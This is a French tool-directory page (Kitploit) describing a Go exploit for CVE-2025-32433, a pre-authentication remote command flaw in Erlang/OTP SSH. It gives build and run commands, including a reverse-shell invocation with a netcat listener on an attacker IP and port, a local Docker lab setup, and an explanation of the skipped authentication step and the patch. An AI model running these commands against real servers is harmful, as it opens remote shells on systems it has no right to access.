Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32433-Remote-Shell — Exploit basé sur Go pour CVE-2025-32433 | Kitploit
Outils/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeTests d'IntrusionOutil d'Accès à Distance
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

Exploit basé sur Go pour CVE-2025-32433

Voir le dépôt
2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Shell distant CVE-2025-32433

Exploit en Go pour CVE-2025-32433 retournant un shell bash distant.

Fortement inspiré de la compréhension de l'exploit dérivé du PoC de ProDefense pour CVE-2025-32433.

Exécution de l'exploit

root@kitploit:~
make

exploit.exe est également disponible pour les machines Windows grâce au Makefile de compilation croisée.

puis exécutez le binaire de l'exploit de l'une des 2 manières suivantes :

Commande

root@kitploit:~
./exploit <target-ip> <target-port> "<command>"

NOTE : ne retourne pas la sortie de la commande

Shell inversé

root@kitploit:~
nc -lnvp <attacker-port>
root@kitploit:~
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>

Configuration de l'environnement

En utilisant le Dockerfile de ProDefense, vous pouvez configurer un environnement via les commandes suivantes :

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

Vous pouvez ensuite exécuter l'exploit comme dans la section Exécution de l'exploit : par exemple

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1 est l'IP par défaut pour l'hôte Docker

Explication de l'exploit

TL;DR « Le problème est causé par une faille dans la gestion des messages du protocole SSH qui permet à un attaquant d'envoyer des messages du protocole de connexion avant l'authentification, »

Procédure SSH typique :

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

Procédure de l'exploit :

  1. Connexion TCP à la victime
  2. Échange de bannières SSH
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (Pré-authentification)
  5. SSH_MSG_CHANNEL_REQUEST (Pré-authentification) --> contient la charge utile de la commande

Remarquez que toute la partie USERAUTH est ignorée dans l'exploit.

Résumé des messages

RFC pertinentes pour les messages SSH :

  • RFC 4253: The Secure Shell (SSH) Transport Layer Protocol
  • RFC 4254: The Secure Shell (SSH) Connection Protocol

Numéros de messages

Message Numbers in SSH Transport Layer Protocol

Message Numbers in SSH Connection Protocol

Formats des messages

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

SSH_MSG_CHANNEL_REQUEST

Autres exigences

Format des chaînes (d'après RFC 4251: The Secure Shell (SSH) Protocol Architecture)

String

Bourrage

Padding

Comprendre le correctif et l'exploit

Voici le correctif introduit dans les bibliothèques Erlang OTP dans le commit ssh: early RCE fix :

handle_msg

Le correctif introduit une nouvelle clause handle_msg qui, selon ses arguments, intercepte :

  • Msg : variable fourre-tout pour tout message SSH entrant non encore capté par les clauses précédentes (comme #ssh_msg_disconnect{})
  • #ssh{authenticated = false} : état de session qui correspond si la connexion n'a pas encore été authentifiée.

La clause n'intercepte pas les sessions avec authenticated = true, qui est attaché à la session lorsque le serveur reçoit un #ssh_msg_userauth_success{} :

authenticated = true

qui est envoyé après le succès de l'une des méthodes d'authentification suivantes :

méthodes d'authentification envoyant `#ssh_msg_userauth_success{}`

Télécharger l’outil